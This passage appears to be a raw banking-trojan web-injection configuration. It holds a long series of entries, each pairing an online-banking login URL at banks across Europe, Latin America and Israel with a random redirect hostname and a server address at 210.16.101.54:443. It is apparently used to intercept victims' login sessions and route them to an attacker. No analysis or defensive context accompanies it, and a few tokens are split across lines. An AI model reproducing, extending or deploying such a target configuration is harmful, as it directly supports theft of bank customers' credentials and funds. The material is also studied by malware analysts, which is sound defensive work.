<sm>http://girovision.plusgirot.se/*</sm>
<nh>cssaslqzcfwaorhkdtnvgypujime.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.tmbbizdirect.com*</mm>
<sm>http://www.tmbbizdirect.com/*</sm>
<nh>dcsawvauoqkscizngmltdbyjfxer.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/en/business/Pages/Login.aspx*</sm>
<nh>ddsatmhadrcvlkxynejpigofzbqu.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/fr/business/pages/login.aspx*</sm>
<nh>dbsaljqpyxkzowvtimhdregsucfa.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/nl/business/pages/login.aspx*</sm>
<nh>drsahwecdtfkgnsuyraxzijpvlbq.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/de/business/Pages/Login.aspx*</sm>
<nh>dqsaxghcpsazkqerfnuyvlimtdwo.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/fr/Retail/Pages/Login.aspx*</sm>
<nh>dhsawiouhzgrjbamdxkyvlnfqpcs.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ing.be*</mm>
<sm>http://www.ing.be/nl/retail/pages/login.aspx*</sm>
<nh>dssaufrdbejtomyzsaqipwlnkgxh.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://solo3.nordea.fi*</mm>
<sm>http://solo3.nordea.fi/cgi-bin/SOLO0001*</sm>
<nh>cosctpfyxasdkncugihrmeqovjbw.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://eservice.cembra.ch*</mm>
<sm>http://eservice.cembra.ch/*</sm>
<nh>sascdtpqgmjwzxsvornhlyikfbca.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secureprivateebanking.nordea.lu*</mm>
<sm>http://secureprivateebanking.nordea.lu/eServices/Login.aspx*</sm>
<nh>kkscyjxnolzikeudvtspfcbghwrq.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secureprivateebanking.nordea.ch*</mm>
<sm>http://secureprivateebanking.nordea.ch/ESERVICES/Login.aspx*</sm>
<nh>ooscpvmeboqrhxatiguzsdnjcfkl.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secureprivateebanking.nordea.sg*</mm>
<sm>http://secureprivateebanking.nordea.sg/eServices/Login.aspx*</sm>
<nh>oascgounyfebvscmxhrklpatjwdq.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.ing-diba.de*</mm>
<sm>http://banking.ing-diba.de/app/login*</sm>
<nh>oqscfvyqpahxcgbjedozwsinlumk.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://classic.nordea.fi*</mm>
<sm>http://classic.nordea.fi/cgi-bin/SOLO0001*</sm>
<nh>acscdrmzifpvwbtejugonskcaqhl.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/fi-fi/Henkiloasiakkaat/Pages/henkiloasiakkaat.aspx*</sm>
<nh>adsckeqmicodnugxbpvzlwarthfy.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/fi-fi/yritysasiakkaat/Pages/yritysasiakkaat.aspx*</sm>
<nh>abscveszcrjokpygbxqlumiadnwf.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/sv-fi/Privat/Pages/Privat.aspx*</sm>
<nh>arscangpzxovwsumbctkdlferqhj.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/sv-fi/Foretag/Medelstora-foretag/Webbtjanster/Pages/Webbtjanster.aspx*</sm>
<nh>aqscjdicaxqwbrfmuskghvlzypoe.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/sv-fi/OmBanken/Ombanken/Pages/Ombanken.aspx*</sm>
<nh>ahscmnpwsyfkxebiaogjthlcvrdu.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/en-fi/Personal/Pages/Personal.aspx*</sm>
<nh>assctpwrbsezcjaqogdvfyikhumx.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.danskebank.fi*</mm>
<sm>http://www.danskebank.fi/en-fi/business/Medium-business/Online-services/Pages/Online-services.aspx*</sm>
<nh>akscpzsrqmiuekgcoyabvxdnthjf.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://cfi.mb.seb.se*</mm>
<sm>http://cfi.mb.seb.se/pqq_portal/sebflow/login*</sm>
<nh>dcscqjbtdwghknfporymcalezsvi.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bancomernetcash.com*</mm>
<sm>http://www.bancomernetcash.com/local_pibee/KDPOSolicitarCredenciales_es.html*</sm>
<nh>rascjusmrtlaokbigfevhyxwpcnz.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.provincialnetcash.com*</mm>
<sm>http://www.provincialnetcash.com/KDPOSolicitarCredenciales_es.html*</sm>
<nh>rbscoqntgarseklwmzbuipyxhvdf.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netredex.grupobbva.com*</mm>
<sm>http://netredex.grupobbva.com/local_tebe/TEBELogin_bbva_belgica_CAS.html*</sm>
<nh>rrscqlmuyhzowdbiepngtvjasrfk.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netredex.grupobbva.com*</mm>
<sm>http://netredex.grupobbva.com/local_tefr/TEFRLogin_bbva_francia_CAS.html*</sm>
<nh>rqscmhcpsotbzfudaeynwlxjrikg.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>

<mm>http://www.bbvanetcash.com.co*</mm>
<sm>http://www.bbvanetcash.com.co/local_pibee/KDPOSolicitarCredenciales_es.html*</sm>
<nh>rhscwfnqgmrxlijtdyozsakuvpbc.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingonline.com*</mm>
<sm>http://www.ingonline.com/hu*</sm>
<nh>cbsdpdikucfejwxmslghyovazqtr.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.francesnetcash.com.ar*</mm>
<sm>http://www.francesnetcash.com.ar/local_pibee/KDPOSolicitarCredenciales_es.html*</sm>
<nh>rsscquowtkgflixsmerjdahyvbpn.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.francesnetcash.com.ar*</mm>
<sm>http://www.francesnetcash.com.ar/local_pibee/KDPOSolicitarCredenciales_en.html*</sm>
<nh>rkscfcwndpiyqmekgobvsajxutlz.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.continentalnetcash.com.pe*</mm>
<sm>http://www.continentalnetcash.com.pe/KDPOSolicitarCredenciales_es.html*</sm>
<nh>qoschqjpmtoirnzeybkldxuagvsw.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bbvanetcash.cl*</mm>
<sm>http://www.bbvanetcash.cl/local_pibee/indexPibee.html*</sm>
<nh>qasckaypneqtihxmcudobvwsrzgf.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bbvanetcash.com*</mm>
<sm>http://www.bbvanetcash.com/local_kyop/KYOPSolicitarCredenciales.html*</sm>
<nh>qcscginjocyuzwsbqfdkprhvaelx.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ve1.provinet.net*</mm>
<sm>http://ve1.provinet.net/nhvp_ve_web/atpn_es_web_jsp/login.jsp*</sm>
<nh>qdscejwrogathpbminfkduzlcqxy.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.provincialnetcash.com*</mm>
<sm>http://www.provincialnetcash.com/KDPOSolicitarCredenciales_en.html*</sm>
<nh>qbscgpyqwshedxnavbrzimoucjkl.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netredex.grupobbva.com*</mm>
<sm>http://netredex.grupobbva.com/local_tebe/TEBELogin_bbva_belgica_FRA.html*</sm>
<nh>qrscxnoewqvhkitzfdsrlpcmuyba.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netredex.grupobbva.com*</mm>
<sm>http://netredex.grupobbva.com/local_tefr/TEFRLogin_bbva_francia_FRA.html*</sm>
<nh>qqscbaskegmuzctfoqhnlyjxwdir.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netredex.grupobbva.com*</mm>
<sm>http://netredex.grupobbva.com/local_telnsp/TELNLogin_bbva_londres_CAS.html*</sm>
<nh>qhsctwrscgvdkhzjqoeablnpxfyu.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netredex.grupobbva.com*</mm>
<sm>http://netredex.grupobbva.com/local_teln/TELNLogin_bbva_londres_ING.html*</sm>
<nh>qsscuyzlnixmgbpvdwfqsraetkhc.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.provincial.com*</mm>
<sm>http://www.provincial.com/personas/BBVAProvincial.jsp*</sm>
<nh>hoschmciltasdxfobrpkynqjgezv.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.provinet.net*</mm>
<sm>http://secure.provinet.net/cgi-bin.cgi/bbvanettxtencr.cgi*</sm>
<nh>hascrqkyvhxnzplweidbfusaogmt.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bbvanet.cl*</mm>
<sm>http://www.bbvanet.cl/bbvanet/Process*</sm>
<nh>hcschkzwlcvusmdoqryxatenpbgf.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://privat.bhf-bank.ch*</mm>
<sm>http://privat.bhf-bank.ch/Authentification/GetAuthentificationVersion*</sm>
<nh>hbscqxanfiojzvcutrpkeybgwmsl.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onba.zkb.ch*</mm>
<sm>http://onba.zkb.ch/*</sm>
<nh>hrsctswkqjvnyacmlduzpeghxfoi.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.neuehelvetischebank.ch*</mm>
<sm>http://www.neuehelvetischebank.ch/e-banking.html*</sm>
<nh>hqscioygtuawldpxjesbmcvqnrfh.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onlinebanking.bankcoop.ch*</mm>
<sm>http://onlinebanking.bankcoop.ch/coopLogin*</sm>
<nh>hhsccehpdblozjmqwtygvuisfxra.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.fibi-online.co.il*</mm>
<sm>http://www.fibi-online.co.il/web/swisswwwc*</sm>
<nh>hsscmtklprfcnjyibzwevdsaoxuq.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.bankvonroll.ch*</mm>
<sm>http://online.bankvonroll.ch*</sm>
<nh>hkscyziolknramcgpjutxqfsbdev.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://sobanet.baloise.ch*</mm>
<sm>http://sobanet.baloise.ch/ibfLogin/*</sm>
<nh>soscflzsbwurhgtjdpecmynvxoik.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.bekb.ch*</mm>
<sm>http://banking.bekb.ch/ident.html*</sm>
<nh>scscahtzwycjdgbvlsqmkfxpoieu.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.barclayswealth.ch*</mm>
<sm>http://www.barclayswealth.ch/Login/fedsso.do*</sm>
<nh>sdscrukpsdiqbfwveyocxhgtjzla.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.swedbank.lv*</mm>
<sm>http://ib.swedbank.lv/business*</sm>
<nh>acscclmsuaiqrhetbdzwgoxkpynv.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://factoring.mb.seb.se*</mm>
<sm>http://factoring.mb.seb.se/nauth3/Authentication/login.jsp*</sm>
<nh>abscjzkvaxqwyhnrbcumdlteosif.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://factoring.seb.de*</mm>
<sm>http://factoring.seb.de/nauth3/Authentication/login.jsp*</sm>
<nh>arscuyghrafwzcdlxvtnikmobejq.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.baltikums.eu*</mm>
<sm>http://ib.baltikums.eu/x/login;jsessionid=BB003BE9FD76AAB7C6C99F3D944F7152*</sm>
<nh>aqsclfuqxoapzvndrkmctgwhiesj.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.bib.lv*</mm>
<sm>http://ib.bib.lv/web/guest*</sm>
<nh>ahschnsxgzeytukowdabqlrjpvim.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.norvik.eu*</mm>
<sm>http://www.norvik.eu/en/intl*</sm>
<nh>asscpoyndgqhzcjfuexkisrmtwab.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.comercios.cetelem.es*</mm>
<sm>http://www.comercios.cetelem.es/FcControlador.srvl*</sm>
<nh>coscrpaxityfmulecndwvsbkhqjo.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://oficinaempresas.bankia.es*</mm>
<sm>http://oficinaempresas.bankia.es/es/login.html*</sm>
<nh>cascplmydzjrcnsaigvehutbxoqw.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://arg3875.andbank.com*</mm>
<sm>http://arg3875.andbank.com/olywebAND/IndexSIA.jsp*</sm>
<nh>ccscgusrpeqvhblwtimkjdnofyzc.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bmedonline.es*</mm>
<sm>http://www.bmedonline.es/*</sm>
<nh>cdscpumfjtdwvqrloxbinygheczk.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www2.bancopastor.es*</mm>
<sm>http://www2.bancopastor.es/particularesBP*</sm>
<nh>cbscmvnbryhiskgpcqezlajfwoud.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www2.bancopastor.es*</mm>
<sm>http://www2.bancopastor.es/empresasBP*</sm>
<nh>crscjqtnpmehvgyasczbdkuwflix.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://telemarch.bancamarch.es*</mm>
<sm>http://telemarch.bancamarch.es/htmlVersion/index.jsp*</sm>
<nh>cqscdtjszhewcnuaivxqfrboyplm.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internetbanken.forex.se*</mm>
<sm>http://internetbanken.forex.se/wps/portal/0087*</sm>
<nh>chs
cesfjbxotizvgmhraqduynpkw.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://pensernet.penser.se*</mm>
<sm>http://pensernet.penser.se/*</sm>
<nh>csscfkxejdcztsbhlnmwavpqoyir.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.folksam.se*</mm>
<sm>http://secure.folksam.se/*</sm>
<nh>ckscpzutwvychqxradnkgfmojibl.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.carnegie.se*</mm>
<sm>http://online.carnegie.se/Login/Logon*</sm>
<nh>doscbmhyesdrgwztipjnlkfvuaxc.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nordic.carnegie.se*</mm>
<sm>http://nordic.carnegie.se/*</sm>
<nh>dascasqupvihkwblrzfxtocedmyj.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.expressfaktura.se*</mm>
<sm>http://www.expressfaktura.se/wa/auth*</sm>
<nh>ddsctmjgibanzouwlfyxhscqdvpe.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banken.amfabank.se*</mm>
<sm>http://banken.amfabank.se/wa/auth*</sm>
<nh>dbscxhbujzivfwonlrakqmdgpeyc.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://mittval.maxm.se*</mm>
<sm>http://mittval.maxm.se/companyservices/*</sm>
<nh>dqscinvhljrzfopudaqbcemsywtg.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://inloggad.volvofinans.se*</mm>
<sm>http://inloggad.volvofinans.se/foretag/inloggning/forenklad.html*</sm>
<nh>dhscgwnyldsrufzivxjbpaoktche.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://inloggad.volvofinans.se*</mm>
<sm>http://inloggad.volvofinans.se/privat/inloggning/valjInloggning.html*</sm>
<nh>dsscswcrufiaqpkhgvlztojbxmde.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.ekobanken.se*</mm>
<sm>http://secure.ekobanken.se/security/login.aspx*</sm>
<nh>dkscugkxshvltprizaycwjqnefbm.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.catella.com*</mm>
<sm>http://www.catella.com/sv/Sverige/Logga-in-/*</sm>
<nh>boscvdxchiqpjeartwlbgfosynku.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://portfolioservice.seb.fi*</mm>
<sm>http://portfolioservice.seb.fi/pbfi/Default.aspx*</sm>
<nh>bascfspoezhmjcuinyxtvdlakrqb.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://webapp.sebgroup.com*</mm>
<sm>http://webapp.sebgroup.com/sec/extranet/inloggning/inloggning.asp*</sm>
<nh>bcscbuwdcnzorsvmfhaxygiplkje.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://otf.seb.se*</mm>
<sm>http://otf.seb.se/*</sm>
<nh>bdscfrbjuykezqwdnlvipscxmthg.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internetbanken.sparbankenoresund.se*</mm>
<sm>http://internetbanken.sparbankenoresund.se/BankIDLogin/sidor/login.aspx*</sm>
<nh>bbscwdfgcleyajqvmoistrnpuxzk.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.dnb.se*</mm>
<sm>http://www.dnb.se/cim*</sm>
<nh>brsczoedaqyitsjvbnrxmhwcpluf.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.resurs.se*</mm>
<sm>http://secure.resurs.se/butiksredovisning/setlang.do*</sm>
<nh>rssccwrtjxhndfioelzqabuvmsky.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://factoring.resurs.se:81*</mm>
<sm>http://factoring.resurs.se:81/login.aspx*</sm>
<nh>rkscsdtjnwuvlfqgyarzpiocmkxh.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://factoring.resurs.se*</mm>
<sm>http://factoring.resurs.se/login.aspx*</sm>
<nh>qosckaucoqbfjxsdhpwvlntmeyiz.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.resurs.se*</mm>
<sm>http://secure.resurs.se/butiksredovisning/login.do*</sm>
<nh>qascgapumxcqejhdinvtkwzlfyro.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://mnet.marginalen.se*</mm>
<sm>http://mnet.marginalen.se/*</sm>
<nh>qcscwfsqbvkxcaymgeouhtjrpdli.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://fakturaservice.marginalen.se*</mm>
<sm>http://fakturaservice.marginalen.se/*</sm>
<nh>qbschabdmongjiuzprxtwlfecyqk.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.resurs.se*</mm>
<sm>http://secure.resurs.se/internetbank/inlaninglogin_foretag.jsp*</sm>
<nh>qrscrybqmjwkngfcvsxhuetlpdzi.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingonline.com*</mm>
<sm>http://www.ingonline.com/pl*</sm>
<nh>crsdtonbrhiuagcfwesqjdyzvlxm.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://auth.aktia.fi*</mm>
<sm>http://auth.aktia.fi/corporatenetbank*</sm>
<nh>sqscbotplawuesydjxngzrihfckv.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://auth.aktia.fi*</mm>
<sm>http://auth.aktia.fi/tunnistus/UI/Login*</sm>
<nh>shsccqdjsenmfzvpxbogywrhauli.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://auth.aktia.fi*</mm>
<sm>http://auth.aktia.fi/corporatenetbank*</sm>
<nh>ssscevqogkxziyfpmnudrjlhwasb.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.saastopankki.fi*</mm>
<sm>http://www.saastopankki.fi/yritysverkkopankkiin*</sm>
<nh>skscewyptrulgvzidksmhoqbfcxn.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://pankki.tapiola.fi*</mm>
<sm>http://pankki.tapiola.fi/service/identify*</sm>
<nh>koscdxqemlskonrvzabpuichyfwt.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www2.handelsbanken.fi*</mm>
<sm>http://www2.handelsbanken.fi/Tapas/tapas/hb/login*</sm>
<nh>kascsrbctkzagvuixwlodnfeqmjy.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://creditors.kaupthing.com*</mm>
<sm>http://creditors.kaupthing.com/default.aspx*</sm>
<nh>kcsctflarujgocwbxkeyhdiqznpv.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://creditors.kaupthing.com*</mm>
<sm>http://creditors.kaupthing.com/default.aspx*</sm>
<nh>kdscyqbcfeijomdrtwglpxnauszh.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.s-pankki.fi*</mm>
<sm>http://online.s-pankki.fi/ebank/auth/loginEbank.do*</sm>
<nh>kbscukbgxhidotjrzmqplnsaewvf.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://swedbank.telehansa.net*</mm>
<sm>http://swedbank.telehansa.net/thnetfi/thnetfi*</sm>
<nh>krscqomrncbuztjpaefylgvshxkw.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://annit.osuuspankki.fi*</mm>
<sm>http://annit.osuuspankki.fi/oprextranet/default.asp*</sm>
<nh>kqscnlrfzubhijwgsdkqxycvamte.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.pohjola.fi*</mm>
<sm>http://www.pohjola.fi/linkki*</sm>
<nh>khsckusovmazinfextpcwgljrqbd.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://kassanhallintapalvelu.op.fi*</mm>
<sm>http://kassanhallintapalvelu.op.fi/*</sm>
<nh>kssckhtmzgudaqsxycvifnlpweor.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.op-pohjola.fi*</mm>
<sm>http://www.op-pohjola.fi/LRR/controller*</sm>
<nh>kkscrutlzedfkhmjcvnwpyqiaogb.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.pohjola.fi*</mm>
<sm>http://www.pohjola.fi/linkki*</sm>
<nh>ooscxpgahuzkblyqfotswdjnemir.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.op-pohjola.fi*</mm>
<sm>http://www.op-pohjola.fi/yrityspalvelut*</sm>
<nh>oaschrvlbmesatixowdpgyjczufq.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://kul
taraha.op.fi*</mm>
<sm>http://kultaraha.op.fi/cgi-bin/krcgi*</sm>
<nh>ocscapcverzxjwmsidoyulqbnfgt.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://auth.aktia.fi*</mm>
<sm>http://auth.aktia.fi/tupas*</sm>
<nh>odsckjwcqtpyiluoevsrdfgzhban.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nettbank.edb.com*</mm>
<sm>http://nettbank.edb.com/edbnettbank*</sm>
<nh>obsciphrjgnouekdvqytfszwcabm.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nettbank.edb.com*</mm>
<sm>http://nettbank.edb.com/edbnettbank/*</sm>
<nh>orscxarupsdwlvjgzmykifqbothc.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.netfonds.no*</mm>
<sm>http://www.netfonds.no/account/auth.php*</sm>
<nh>oqscyqabtpjgedrnushmwcikoxzf.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.skandiabanken.no*</mm>
<sm>http://secure.skandiabanken.no/Authentication/OtpSms*</sm>
<nh>ohscyvslwufxojiateqdhpkmrzbn.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.skandiabanken.no*</mm>
<sm>http://secure.skandiabanken.no/Authentication/BankIdMobile*</sm>
<nh>osscudtinfoahwykvxelsbqpczrj.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.skandiabanken.no*</mm>
<sm>http://secure.skandiabanken.no/Authentication/OtpCodeCard*</sm>
<nh>okscwntzqpkgumyxrbohfsalevji.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.skandiabanken.no*</mm>
<sm>http://secure.skandiabanken.no/Authentication/BankIdWebClient*</sm>
<nh>aoscsxpydctvaemirqhfzjugblno.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nettbank.seb.no*</mm>
<sm>http://nettbank.seb.no/*</sm>
<nh>aascqhcralpdtkjsoyuvmfnwexgi.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bank.storebrand.no*</mm>
<sm>http://bank.storebrand.no/*</sm>
<nh>acscdjklnzpabfhsxwrovumtcqgi.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.nettkonto.no*</mm>
<sm>http://www.nettkonto.no/*</sm>
